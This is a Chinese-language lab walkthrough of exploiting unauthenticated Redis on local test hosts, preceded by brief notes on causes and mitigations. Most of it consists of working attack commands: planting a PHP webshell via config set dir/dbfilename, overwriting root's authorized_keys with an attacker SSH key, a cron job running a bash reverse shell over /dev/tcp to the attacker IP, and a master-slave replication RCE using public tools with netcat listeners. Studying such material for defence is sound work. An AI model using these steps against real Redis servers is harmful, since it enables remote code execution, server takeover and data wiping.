一、环境搭建

1
2
3
4
5
6
wget http://download.redis.io/releases/redis-2.8.17.tar.gz 
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
cd src
./redis-server



若不是0.0.0.0
需修改redis.config配置文件
注释掉绑定ip:bind 127.0.0.1

靶机:192.168.40.9
攻击机:192.168.40.20

二、漏洞分析

2.1 产生的原因

  • redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

2.2 危害

  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意清空所有数据;
  • 攻击者可以写入后门文件
  • 弱以root权限运行,且无密码,攻击者可以写入SSH公钥,导致服务器权限丢失

2.3 预防措施

  • 不要暴露在公网
  • redis添加密码验证
  • 使用最新的redis
  • 修改端口为非常规

三、漏洞复现

  • 探测端口
    nmap -p- -sT 192.168.40.9

3.1 连接成功

1
2
3
4
# 无密码登录命令 
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

redis-cli -h 192.168.40.9 -p 6379 远程连接,无密码

  • Redis的使用
    Redis 教程 | 菜鸟教程 (runoob.com)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    set xz "Hacker"                     # 设置键xz的值为字符串Hacker
    get xz # 获取键xz的内容
    SET score 857 # 设置键score的值为857
    INCR score # 使用INCR命令将score的值增加1
    GET score # 获取键score的内容
    keys * # 列出当前数据库中所有的键
    config set protected-mode no # 关闭安全模式
    get anotherkey # 获取一个不存在的键的值
    config set dir /root/redis # 设置保存目录
    config set dbfilename redis.rdb # 设置保存文件名
    config get dir # 查看保存目录
    config get dbfilename # 查看保存文件名
    save # 进行一次备份操作
    flushall # 删除所有数据
    del key # 删除键为key的数据
    slaveof ip port # 设置主从关系
    redis-cli -h ip -p 6379 -a passwd # 外部连接

3.2 写入webshell

  • 条件
  1. 可远程访问redis(可连接)
  2. 可以有文件操作权限
  3. 需知道Web网站路径
    这里未搭建web服务,故将webshell写入/tmp目录
    1
    2
    3
    4
    config set dir /tmp
    config set dbfilename shell.php
    set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
    save

3.3 写入公钥

攻击者生成公钥ssh-keygen -t rsa

进入/root/.ssh/下导出到rsa.txt文件
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > rsa.txt
将公钥文件的内容存储到 Redis 数据库中,使用 “crack” 作为键

1
2
3
4
5
6
rdis-cli -h 192.168.40.9 -p 6379
config get dir
config set dir /root/.ssh
config set dbfilename authorized_keys
config get dbfilename
save


使用公钥测试连接
ssh root@192.168.40.9 -i id_rsa

3.4 计划任务反弹shell

  • 攻击者监听端口
    nc -lvvp 6666
  • 写入计划任务
    1
    2
    3
    4
    5
    redis-cli -h 192.168.40.9 -p 6379
    set xx "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.40.20/6666 0>&1\n" //每秒执行一次
    config set dir /var/spool/cron/crontabs
    config set dbfilename root
    save
  • 始终无法回弹

    原因:上去靶机看了看(写进入了(但是有乱码),计划任务也有,就是不反弹)

    删除乱码依旧不反弹

    将其文件删除手动写入依旧无法反弹,也有可能是系统版本原因
  • 结论:只能在centos环境中利用因为centos环境中的计划任务文件可以忽略乱码,ubuntu环境因为无法忽略文件中的乱码因此无法使用,具体请参考

3.5 主从复制RCE

Redis主从复制原理
漏洞存在于4.x、5.x版本中。
Redis 提供了主从模式,主从模式指使用一个 redis 作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。
在 Reids 4.x 之后,通过外部拓展,可以实现在redis中实现一个新的 Redis 命令,构造恶意 .so 文件。
在两个Redis实例设置主从模式的时候,Redis 的主机实例可以通过FULLRESYNC 同步文件到从机上。然后在从机上加载恶意 so 文件,即可执行命令。

3.5.1 环境搭建

  • 手工安装请参考
  • 我这里使用vulhub的
    1
    2
    3
    4
    5
    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/redis/4-unacc
    docker-compose up -d 启动环境后台运行
    docker-compose down 停止并删除环境
    docker-compose stop 停止环境

3.5.2 攻击

  • 判断是否为主从redis服务器
    INFO replication
  • 开始攻击
    1
    2
    3
    4
    5
    6
    7
    git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
    make 编译生成module.so
    git clone https://github.com/Ridter/redis-rce
    将其module.so复制到redis-rce目录下

    python redis-rce.py -r 192.168.40.9 -p 6379 -L 192.168.40.20 -P 8888 -f module.so
    nc -lvvp 10000
  • 反弹shell
  • 成功拿到Redis从主机shell